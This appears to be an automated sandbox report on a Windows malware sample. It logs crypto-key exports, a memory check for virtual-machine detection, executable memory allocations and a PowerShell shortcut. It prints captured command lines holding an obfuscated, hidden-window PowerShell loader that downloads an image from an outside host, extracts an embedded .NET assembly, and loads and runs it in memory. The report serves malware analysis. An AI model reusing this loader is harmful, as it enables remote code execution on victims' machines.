CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Sept. 17, 2023, 9:39 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x006284d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 17, 2023, 9:39 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (1 event)

request

GET http://apps.identrust.com/roots/dstrootcax3.p7c

Allocates read-write-execute memory (usually to unpack itself) (50 out of 292 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 1245184 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02910000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd1000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0241a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72fd2000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02412000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02422000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a01000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a02000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0244a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02423000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02424000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02457000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0241b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02442000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02455000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02425000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0244c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02426000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0245c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02443000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02444000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02445000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02448000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02449000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027a9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ad000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027ae000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x027af000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Sept. 17, 2023, 9:39 a.m.	process_identifier: 2080 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powershell -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBJ░░░G4░░░Z░░░Bl░░░Hg░░░TwBm░░░Cg░░░J░░░Bl░░░G4░░░Z░░░BG░░░Gw░░░YQBn░░░Ck░░░Ow░░░k░░░HM░░░d░░░Bh░░░HI░░░d░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░ZQ░░░g░░░D░░░░░░I░░░░░░t░░░GE░░░bgBk░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░Gc░░░d░░░░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░Cs░░░PQ░░░g░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░LgBM░░░GU░░░bgBn░░░HQ░░░a░░░░░░7░░░CQ░░░YgBh░░░HM░░░ZQ░░░2░░░DQ░░░T░░░Bl░░░G4░░░ZwB0░░░Gg░░░I░░░░░░9░░░C░░░░░░J░░░Bl░░░G4░░░Z░░░BJ░░░G4░░░Z░░░Bl░░░Hg░░░I░░░░░░t░░░C░░░░░░J░░░Bz░░░HQ░░░YQBy░░░HQ░░░SQBu░░░GQ░░░ZQB4░░░Ds░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░GE░░░ZwBl░░░FQ░░░ZQB4░░░HQ░░░LgBT░░░HU░░░YgBz░░░HQ░░░cgBp░░░G4░░░Zw░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░s░░░C░░░░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BM░░░GU░░░bgBn░░░HQ░░░a░░░░░░p░░░Ds░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░QwBv░░░G4░░░dgBl░░░HI░░░d░░░Bd░░░Do░░░OgBG░░░HI░░░bwBt░░░EI░░░YQBz░░░GU░░░Ng░░░0░░░FM░░░d░░░By░░░Gk░░░bgBn░░░Cg░░░J░░░Bi░░░GE░░░cwBl░░░DY░░░N░░░BD░░░G8░░░bQBt░░░GE░░░bgBk░░░Ck░░░Ow░░░k░░░Gw░░░bwBh░░░GQ░░░ZQBk░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQ░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░UgBl░░░GY░░░b░░░Bl░░░GM░░░d░░░Bp░░░G8░░░bg░░░u░░░EE░░░cwBz░░░GU░░░bQBi░░░Gw░░░eQBd░░░Do░░░OgBM░░░G8░░░YQBk░░░Cg░░░J░░░Bj░░░G8░░░bQBt░░░GE░░░bgBk░░░EI░░░eQB0░░░GU░░░cw░░░p░░░Ds░░░J░░░B0░░░Hk░░░c░░░Bl░░░C░░░░░░PQ░░░g░░░CQ░░░b░░░Bv░░░GE░░░Z░░░Bl░░░GQ░░░QQBz░░░HM░░░ZQBt░░░GI░░░b░░░B5░░░C4░░░RwBl░░░HQ░░░V░░░B5░░░H░░░░░░ZQ░░░o░░░Cc░░░RgBp░░░GI░░░ZQBy░░░C4░░░S░░░Bv░░░G0░░░ZQ░░░n░░░Ck░░░Ow░░░k░░░G0░░░ZQB0░░░Gg░░░bwBk░░░C░░░░░░PQ░░░g░░░CQ░░░d░░░B5░░░H░░░░░░ZQ░░░u░░░Ec░░░ZQB0░░░E0░░░ZQB0░░░Gg░░░bwBk░░░Cg░░░JwBW░░░EE░░░SQ░░░n░░░Ck░░░Ow░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░C░░░░░░PQ░░░g░░░Cw░░░K░░░░░░n░░░HQ░░░e░░░B0░░░C4░░░N░░░░░░0░░░DQ░░░N░░░░░░2░░░DM░░░cwBh░░░GI░░░cwBz░░░HM░░░cwBv░░░HY░░░aQB0░░░Gs░░░YQ░░░y░░░GE░░░bQBh░░░H░░░░░░YQ░░░v░░░DM░░░Ng░░░u░░░DM░░░Mw░░░u░░░DI░░░N░░░░░░u░░░DM░░░OQ░░░x░░░C8░░░Lw░░░6░░░H░░░░░░d░░░B0░░░Gg░░░Jw░░░p░░░Ds░░░J░░░Bt░░░GU░░░d░░░Bo░░░G8░░░Z░░░░░░u░░░Ek░░░bgB2░░░G8░░░awBl░░░Cg░░░J░░░Bu░░░HU░░░b░░░Bs░░░Cw░░░I░░░░░░k░░░GE░░░cgBn░░░HU░░░bQBl░░░G4░░░d░░░Bz░░░Ck░░░'";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('░░░','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'J░░░Bp░░░G0░░░YQBn░░░GU░░░VQBy░░░Gw░░░I░░░░░░9░░░C░░░░░░JwBo░░░HQ░░░d░░░Bw░░░HM░░░Og░░░v░░░C8░░░dQBw░░░Gw░░░bwBh░░░GQ░░░Z░░░Bl░░░Gk░░░bQBh░░░Gc░░░ZQBu░░░HM░░░LgBj░░░G8░░░bQ░░░u░░░GI░░░cg░░░v░░░Gk░░░bQBh░░░Gc░░░ZQBz░░░C8░░░M░░░░░░w░░░DQ░░░Lw░░░1░░░Dk░░░Nw░░░v░░░DI░░░Mw░░░2░░░C8░░░bwBy░░░Gk░░░ZwBp░░░G4░░░YQBs░░░C8░░░cgB1░░░G0░░░c░░░Bf░░░H░░░░░░cgBp░░░HY░░░YQBk░░░GE░░░LgBq░░░H░░░░░░Zw░░░/░░░DE░░░Ng░░░5░░░DM░░░O░░░░░░0░░░Dc░░░M░░░░░░3░░░D░░░░░░Jw░░░7░░░CQ░░░dwBl░░░GI░░░QwBs░░░Gk░░░ZQBu░░░HQ░░░I░░░░░░9░░░C░░░░░░TgBl░░░Hc░░░LQBP░░░GI░░░agBl░░░GM░░░d░░░░░░g░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░TgBl░░░HQ░░░LgBX░░░GU░░░YgBD░░░Gw░░░aQBl░░░G4░░░d░░░░░░7░░░CQ░░░aQBt░░░GE░░░ZwBl░░░EI░░░eQB0░░░GU░░░cw░░░g░░░D0░░░I░░░░░░k░░░Hc░░░ZQBi░░░EM░░░b░░░Bp░░░GU░░░bgB0░░░C4░░░R░░░Bv░░░Hc░░░bgBs░░░G8░░░YQBk░░░EQ░░░YQB0░░░GE░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBV░░░HI░░░b░░░░░░p░░░Ds░░░J░░░Bp░░░G0░░░YQBn░░░GU░░░V░░░Bl░░░Hg░░░d░░░░░░g░░░D0░░░I░░░Bb░░░FM░░░eQBz░░░HQ░░░ZQBt░░░C4░░░V░░░Bl░░░Hg░░░d░░░░░░u░░░EU░░░bgBj░░░G8░░░Z░░░Bp░░░G4░░░ZwBd░░░Do░░░OgBV░░░FQ░░░Rg░░░4░░░C4░░░RwBl░░░HQ░░░UwB0░░░HI░░░aQBu░░░Gc░░░K░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBC░░░Hk░░░d░░░Bl░░░HM░░░KQ░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBT░░░FQ░░░QQBS░░░FQ░░░Pg░░░+░░░Cc░░░Ow░░░k░░░GU░░░bgBk░░░EY░░░b░░░Bh░░░Gc░░░I░░░░░░9░░░C░░░░░░Jw░░░8░░░Dw░░░QgBB░░░FM░░░RQ░░░2░░░DQ░░░XwBF░░░E4░░░R░░░░░░+░░░D4░░░Jw░░░7░░░CQ░░░cwB0░░░GE░░░cgB0░░░Ek░░░bgBk░░░GU░░░e░░░░░░g░░░D0░░░I░░░░░░k░░░Gk░░░bQBh░░░Gc░░░ZQBU░░░GU░░░e░░░B0░░░C4░░░SQBu░░░GQ░░░ZQB4░░░E8░░░Zg░░░o░░░CQ░░░cwB0░░░GE░░░cgB0░░░EY░░░b░░░Bh░░░Gc░░░KQ░░░7░░░CQ░░░ZQBu░░░GQ░░░SQBu░░░GQ░░░ZQB4░░░C░░░░░░PQ░░░g░░░CQ░░░aQBt░░░G